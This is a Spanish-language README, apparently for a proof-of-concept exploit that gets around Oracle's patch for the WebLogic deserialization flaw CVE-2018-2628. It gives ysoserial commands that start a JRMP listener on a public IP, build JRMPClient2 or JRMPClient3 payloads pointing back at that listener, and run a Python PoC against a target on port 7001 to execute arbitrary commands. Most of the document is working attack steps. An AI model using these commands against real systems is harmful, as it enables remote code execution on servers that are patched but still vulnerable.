
Algunos códigos para evadir el parche de Oracle WebLogic CVE-2018-2628
Formato del comando:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
Ejemplo:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
Cuando vea la salida *Opening JRMP listener on 22801, anote la dirección IP del host donde se ejecuta JRMPListener (en el ejemplo, se ejecuta en un host Alibaba Cloud ECS con IP pública 47.94.158.125) y el puerto especificado.
Actualmente se conocen dos métodos (para generar la cadena del objeto Payload, basta con elegir uno de los dos métodos siguientes):
Formato del comando para generar la cadena del objeto Payload:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Ejemplo:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Ejemplo (datos de salida binarios del objeto Payload generado con JRMPClient2):

Formato del comando para generar la cadena del objeto Payload:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Ejemplo:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Ejemplo (datos de salida binarios del objeto Payload generado con JRMPClient3):

Edite wls-cve-2018-2628-poc.py y reemplace el valor de la variable llamada payload_str en la parte superior del script con la cadena hexadecimal generada en el paso anterior (los valores de las dos variables payload_str incluidas en este script también pueden utilizarse directamente y corresponden a las cadenas hex generadas por los dos métodos anteriores).
Formato del comando:
python wls-cve-2018-2628-poc.py
Ejemplo:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
Ejemplo (con Patch Set Update 180417 instalado):


xxlegend@nsfocus (uno de los investigadores que descubrió y reportó la CVE-2018-2628; reveló el método de explotación de la vulnerabilidad y ejemplos de código relacionados)
badcode@knownsec (proporcionó el ejemplo de código para encapsular java.rmi.registry.Registry mediante weblogic.jms.common.StreamMessageImpl)
ysoserial project (recopila muchas utilidades de explotación de deserialización de Java)